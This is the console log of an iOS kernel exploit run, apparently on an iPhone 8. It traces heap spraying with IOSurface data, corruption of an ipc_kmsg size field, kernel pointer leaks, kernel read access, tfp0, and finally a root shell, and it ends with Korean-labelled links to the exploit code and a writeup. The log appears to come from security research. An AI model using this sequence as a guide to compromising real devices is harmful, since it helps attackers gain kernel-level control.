[+] segment_list_shmem_data_kva: 0xffffffe0cfd1c000
[*] struct ipc_kmsg(port=0x2303) = 0xffffffe0dbd1c000
[*] struct ipc_kmsg 2(port=0x2203) = 0xffffffe0dbd3c000
[*] ool_message_port(port=0x2103)'s msgdata_kptr = 0xffffffe0dbd5c000
[*] dict 0xffffffe003dd1500, items 0xffffffe0015a9640, count 2, capacity 4
[+] Found our 2nd sprayed IOSurface data!
osdata_in_osarray = 0xffffffe006182b50
osdata_kbuffer(OSArray[0]) = 0xffffffe0cfb20000
osdata_in_osarray = 0xffffffe006182df0
osdata_kbuffer(OSArray[1]) = 0xffffffe0cfb40000
osdata_in_osarray = 0xffffffe0061811d0
osdata_kbuffer(OSArray[2]) = 0xffffffe0cfb60000
osdata_in_osarray = 0xffffffe006182e20
osdata_kbuffer(OSArray[3]) = 0xffffffe0cfb80000
osdata_in_osarray = 0xffffffe006183d50
osdata_kbuffer(OSArray[4]) = 0xffffffe0cfba0000
osdata_in_osarray = 0xffffffe006181170
osdata_kbuffer(OSArray[5]) = 0xffffffe0cfbc0000
osdata_in_osarray = 0xffffffe006182160
osdata_kbuffer(OSArray[6]) = 0xffffffe0cfbe0000
osdata_in_osarray = 0xffffffe006180bd0
osdata_kbuffer(OSArray[7]) = 0xffffffe0cfc00000
osdata_in_osarray = 0xffffffe0061830f0
osdata_kbuffer(OSArray[8]) = 0xffffffe0cfc20000
osdata_in_osarray = 0xffffffe0061821f0
osdata_kbuffer(OSArray[9]) = 0xffffffe0cfc40000
osdata_in_osarray = 0xffffffe006181d10
osdata_kbuffer(OSArray[10]) = 0xffffffe0cfc60000
osdata_in_osarray = 0xffffffe006182190
osdata_kbuffer(OSArray[11]) = 0xffffffe0cfc80000
osdata_in_osarray = 0xffffffe006182220
osdata_kbuffer(OSArray[12]) = 0xffffffe0cfca0000
osdata_in_osarray = 0xffffffe0061820a0
osdata_kbuffer(OSArray[13]) = 0xffffffe0cfcc0000
osdata_in_osarray = 0xffffffe006182100
osdata_kbuffer(OSArray[14]) = 0xffffffe0cfce0000
osdata_in_osarray = 0xffffffe006182070
osdata_kbuffer(OSArray[15]) = 0xffffffe0dbd7c000
[*] dict 0xffffffe003dd1500, items 0xffffffe0015a9640, count 3, capacity 4
[+] Found our 3rd sprayed IOSurface data!
[*] osarray_count = 0x280, osarray_capacity = 0x280, osarray_array = 0xffffffe00528c800
=================== Overall Info ===================
seglist = 0xffffffe0cfd1c000
cmdbuf = 0xffffffe0d5d1c000
ipc_kmsg = 0xffffffe0dbd1c000
ipc_kmsg2(FREED) = 0xffffffe0dbd3c000
[*] spray_buffer = 0xffffffe0dbd3c000
oolports = 0xffffffe0dbd5c000
kfree_buffer = 0xffffffe0dbd7c000
====================================================
[*] ts for corrupting ipc_kmsg's ikm_size = 0x25b997ce2
[*] Original ipc_kmsg's ikm_size: 0x1ffa8
[*] Triggering bug with 7 bytes
[*] Corruption worked?
[*] Corrupted ipc_kmsg's ikm_size: 0x25b9983
[*] Freed kmsg
[+] ikm_header leak: 0xffffffe0dbd44028
[+] Segment list calculated to be at: 0xffffffe0cfd1c000
[+] fakeport: 0x2007
[+] Leaked port: 0xffffffe002796fe8
[+] Got kernel read
[+] Our task port: 0xffffffe00419dc38
[+] Updated port for tfp0!
[*] Allocated: 0xffffffe0000d0000
[*] Read back: 0x4141414141414141
[*] Creating safer port
[*] Testing new tfp0 port
[+] tfp0: 0x1f03
[*] Allocated: 0xffffffe0000d4000
[*] Read back: 0x4141414141414141
[*] getExternalTrapForIndex_func = 0xfffffff00fdedc34
[*] Kernel base: 0xfffffff00f804000
[-] Cleaning up...
[*] Found corrupted OSData buffer at 0xffffffe0dbd3c000
[*] Found corrupted OSData buffer at 0xffffffe0dbd5c000
[*] Fixing corrupted OSData buffer at 0xffffffe0de2bc000
[+] Exploit Success
iPhone-8--1201:~ root#
참고 자료 및 출처
- Exploit Code
- Writeup